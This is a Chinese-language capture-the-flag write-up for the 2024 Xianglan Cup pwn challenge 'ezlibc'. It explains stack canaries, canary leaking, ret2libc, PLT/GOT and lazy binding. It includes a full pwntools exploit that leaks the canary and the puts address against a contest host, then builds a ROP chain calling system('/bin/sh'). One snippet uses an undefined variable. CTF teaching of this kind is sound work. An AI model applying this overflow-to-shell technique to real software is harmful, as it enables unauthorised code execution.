0%

2024湘岚杯ezlibc

前言

image-20250118204042289

image-20250119000301446

本题是Canary保护+ret2libc,根据这个题目来总结一下canary保护和ret2libc

Canary保护

(1)Canary介绍

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

(2)Canary原理

当函数开始执行时,会在内存某处插入一组随机数canary(一般是 寄存器fs: 0x28 处,栈中 %ebp-0x8 的位置),我们在直接进行栈溢出时canary的值就会改变,在函数退栈返回前,程序会比对栈上的canary副本和原始的canary。如果二者不同,则说明发生了栈溢出,这时程序会直接崩溃,调用__stack_chk_fail函数来终止程序

image-20250118195529093

image-20250118195650040

(3)Canary绕过

我们知道在进行栈溢出时Canary的值已经改变,但函数退栈返回前程序会比对Canary的值,我们可以先把Canary泄露出来,进行栈溢出时候,再把Canary的值发送,这样Canary的值就不会改变

(4)Canary特点

Canary所生成的随机数有一个非常重要的特点:随机数的第一个字节必然是 0x00。如此设计的主要目的是实现字符串截断,当我们进行泄露时遇到0x00直接就停止了,但是我们进行栈溢出时,可以多发送一个字节,使\x00被覆盖,这样我们就可以成功的将Canary泄露出来

ret2libc

(1)题目特点

进行栈溢出时,程序可能没有后门函数,可能既没有system函数,又没有”/bin/sh”字符串,我们就无法拿到shell,但是我们可以借助libc库将其真实地址计算出来

(2)解题思路

我们知道函数的真实地址 = 基地址 + 偏移地址 ,如果我们知道每次程序运行的基地址,以及每个函数的偏移地址,我们就可以计算出函数的真实地址

基地址:每次运行程序加载函数时,函数的基地址都会发生改变

偏移地址:libc库中存放的就是这些函数的偏移地址,函数真实地址的后三位不会变化,根据其最后三位借助,可以判断出libc库的版本

查询libc版本网站:libc database search

使用方法:输入函数名称和真实地址

如何计算基地址:

我们知道基地址 = 函数的真实地址 - 偏移地址

我们可以借助puts(),write()这样的函数将某个函数的真实地址打印出来(即got表中存放的地址),由于Linux的动态延迟绑定技术,我们必须选择一个main函数中已经执行过的函数,一般选择puts和write

(4)plt表和got表

PLT表(Procedure Linkage Table):PLT表用于实现函数调用的延迟绑定。当程序调用一个外部函数时,首先会跳转到PLT表中的相应条目,PLT表中的代码会检查GOT表中该函数地址是否已经解析。如果已经解析,就直接跳转到GOT表中的实际函数地址;如果尚未解析,就会触发动态链接器进行解析操作,然后更新GOT表并完成函数调用

GOT表(Global Offset Table):GOT表用于存放外部函数和全局变量的地址。GOT表在动态链接过程中起着关键作用,它允许程序在运行时查找和调用外部函数。

在这里引用一张大佬的图解释

img

(5)延迟绑定

定义:延迟绑定(Lazy Binding)是一种在程序运行过程中动态链接共享库函数的技术。它的核心思想是推迟对外部函数(位于共享库中的函数)的地址解析,直到程序首次调用该函数时才进行解析。这样做的主要目的是为了提高程序的启动速度,因为如果在程序启动时就对所有可能用到的外部函数进行地址解析,会花费大量时间,而且很多函数可能在程序运行过程中根本不会被调用

调用函数A的过程

首次调用:

img

再次调用:

img

(6)总结

1.找到一个main函数中已经执行过的函数,构造payload1调用puts或write将其真实地址打印出来,根据真实地址确定libc版本,以及函数的偏移地址

2.根据基地址=真实地址-偏移地址

3.根据真实地址=基地址+偏移地址算出system函数和”/bin/sh”字符串的真实地址

4.构造payload2,劫持程序,拿到shell

exp以及解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
io=process('./ezlibc')
elf=ELF("./ezlibc")
io=remote('xlctf.huhstsec.top',40657)
context(arch="amd64",os='linux',log_level='debug')

#payload1:泄露canary
payload1=b'a'*(0x30-0x8)+b'b' #多发送一个b来覆盖canary的\x00
io.recvuntil(b'flag!')
io.send(payload1); #这里不能用sendline,因为回车会占字节
io.recvuntil(b'ab') #定位到Canary之前
canary=u64(b'\x00'+io.recv(7)) #接受canary将\x00重新填上,再接受7个字节,并转换为64位
print('canary:',hex(canary))
pop_rdi_ret_addr=0x400843
ret_addr=0x000000000040059e
puts_plt=elf.plt['puts'] #查找puts函数plt表的地址
main_addr=0x4006e7
puts_got=elf.got["puts"] #查找puts函数got表的地址
print("puts_plt:",hex(puts_plt))
print("plt_got:",hex(puts_got))

#payload2:泄露puts真实地址
payload2=b'a'*(0x30-8)+p64(canary)+b'a'*8 #先覆盖到到canary之前,再将canary发送
payload2+=p64(pop_rdi_ret_addr)+p64(puts_got) #将puts函数got表的地址储存在寄存器rdi里
payload2+=p64(puts_plt) #调用puts函数
payload2+=p64(main_addr) #最后返回到main,再次进行栈溢出
io.recvuntil(b"Maybe UR closer to the key")
io.sendline(payload2)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00')) #接收puts函数的真实地址,从7f开始接收,长度补足8个字节
print("real addr:",hex(puts_addr))
libc=LibcSearcher('puts',puts_addr) #查询libc版本
base=puts_addr-libc.dump('puts') #计算基地址
system=base+libc.dump('system') #计算system函数地址
bin_sh=base+libc.dump('str_bin_sh') #计算/bin/sh字符串地址


#payload3:构造调用system("/bin/sh")
payload3=b'a'*(0x30-8)+p64(canary)+b'a'*8
payload3+=p64(ret_addr) #栈平衡
payload3+=p64(pop_rdi_ret_addr)+p64(bin_sh) #将/bin/sh的地址储存在rdi寄存器中
payload3+=p64(system)
io.sendline(payload3)
io.interactive()

最后题目为我们提供Libc版本.so文件, 与 不提供的区别

(1)当题目不提供libc.so文件我们就需要借助LibcSearche库

1
2
3
4
5
from LibcSearcher import *
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts') #计算基地址
system=base+libc.dump('system') #计算system函数地址
bin_sh=base+libc.dump('str_bin_sh') #计算/bin/sh字符串地址

(2)当题目提供libc.so文件

1
2
3
4
libc=ELF('libc-2.23.so')
base=puts_addr-libc.sym['puts'] #计算基地址
system=base+libc.sym['system'] #计算system函数地址
bin_sh = libc_base + next(libc.search(b'/bin/sh')) #计算/bin/sh字符串地址

参考文章:

canary:canary介绍与绕过技巧_金丝雀漏洞缓解-CSDN博客

pwn入门之canary保护_pwn canary-CSDN博客

ret2libc:pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)-CSDN博客

exp:[【PWN · ret2libc | Canary】2021 鹤城杯]littleof-CSDN博客

区别:CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别_ctf题中.so文件-CSDN博客

// 在最后添加